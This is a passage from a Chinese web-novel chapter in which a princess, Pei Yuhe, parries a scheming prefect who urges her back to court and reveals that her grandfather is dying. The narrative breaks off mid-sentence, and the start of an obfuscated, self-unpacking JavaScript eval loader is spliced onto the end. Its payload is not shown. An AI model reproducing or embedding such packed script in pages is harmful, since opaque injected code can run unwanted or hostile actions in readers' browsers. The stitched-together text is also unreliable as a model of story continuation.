裴玉荷回头,就看见被拦在门外准备拔刀的少年。
两人目光相撞,她朝他摇了摇头,随后便朝带路的人道:“可以让我的同伴一起进来吗?”
“抱歉姑娘,这……不合规矩。”
她颔首,再望向已经收刀的少年,“你先回客栈等我吧,我应该会在天黑之前回来。”
若天黑之前没有回来,她隐于其中的话不言而喻。
交代完后,裴玉荷便在管家的催促下进了府。
朱门在周怀砚的眼前重重关上,他看了眼那沉重的红门,在侍卫警惕的目光中转身就走。
至于是不是回客栈,就不是他们该考虑的了。
穿过繁华的前院,到达客厅之际,里面的人在看见她到来立马迎了上前。
男人朝管家使了个眼神,等人离开以后,他面对裴玉荷肃了肃神色,拱手就要大拜。
裴玉荷见状,脚下右移,躲开了。
“知府大人这是做什么?草民惶恐。”
“怠慢公主是下官的错,望公主见谅,”王知府见人躲开,便朝她做了个拱手礼,“这一次匆忙求见是因为黎州知府。”
黎州知府?
这四个字一出,裴玉荷猛地抬头,“黎州知府怎么了?”
黎州知府,正是她娘亲的父亲。
也是对她最好的外公。
而从眼前这人口中吐出黎州知府这四个字,裴玉荷几乎是瞬间便联想到了一些事情。
表情瞬间冷了下来。
她可没忘记,幼时在瑚州她便是被关在了此人的府上。
而他,便是宫中那位受尽宠爱的贵妃的兄长,况且她这几日便一直怀疑瑚州再次兴起的怪病便是与他有关。
包括当年娘亲出事,也和这人脱不了干系,从他口中听到外公的事情,绝对不是什么好事。
“陛下很想念你。”
一句毫无相关的话题,裴玉荷脸一黑转身就走。只觉得晦气。
“公主!”王秋实叫住了她,“你当真不知道陛下他如今身体日渐衰弱,连做梦都在梦中唤你的名字!”
“……”
裴玉荷差点就笑出声了,她摇了摇头。
“知府大人,我何德何能会被陛下惦记,您就别吓我了,我胆子可小了。”
她能不知道他王秋实和那王贵妃是蛇鼠一窝?恐怕那宫中的“玉圣公主”就是他们的手笔。
况且父皇对她怎么样,他们还不清楚?还把她当成当初那个傻乎乎的小女孩?
“再者,这同你方才说的黎州知府又有何关系?”
她只觉得在这浪费时间,还不如亲自出去查查外公究竟怎么了,而不是听他在这答非所问。
“陛下早就知道公主失踪一事——”王秋实见她仍然要走,便提高了声音,“他一直命下官暗中调查公主所在,让下官一有消息立马告知他。”
果然,听到这个,那少女的脚步一顿。
“所以在收到公主到瑚州的第一时间下官就想要告知陛下这个好消息,但为了确定没有弄错,便想要请公主来寒舍上一聚,可没想到——”
之前的裴玉荷毫不给面子。
“如今见到公主我就放心了,待我即刻传音于陛下,便送公主回宫。”
裴玉荷上前一步,语气充斥着不耐烦:“告诉我,黎州知府究竟怎么了?”
“哦,您说郝公啊,”眼前的人闻言,这才慢悠悠地摇了摇头,“听说重病在床,已经时日不多了。”
“公主你不会想要去黎州吧?黎州离这可远了,和京城也完全是反方向,待下官把您送往京城,到时候您再向陛下撒撒娇,他自然会命人将黎州知府宣进京,”他含笑着给她打主意,“以陛下对您的宠爱啊,就算是郝公已经魂归西天,他也能给你拉进京城,让您再见他一面,公主你说——公主!公主你别走啊,下官这就为您备马回京——”
王秋实扯着嗓子唤人,可脚下并没有分毫的挪动,等人彻底消失在视线里,他才重新坐会了主座。
抿了口上好的茶,对隔间偷听的人斥道:“蠢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'','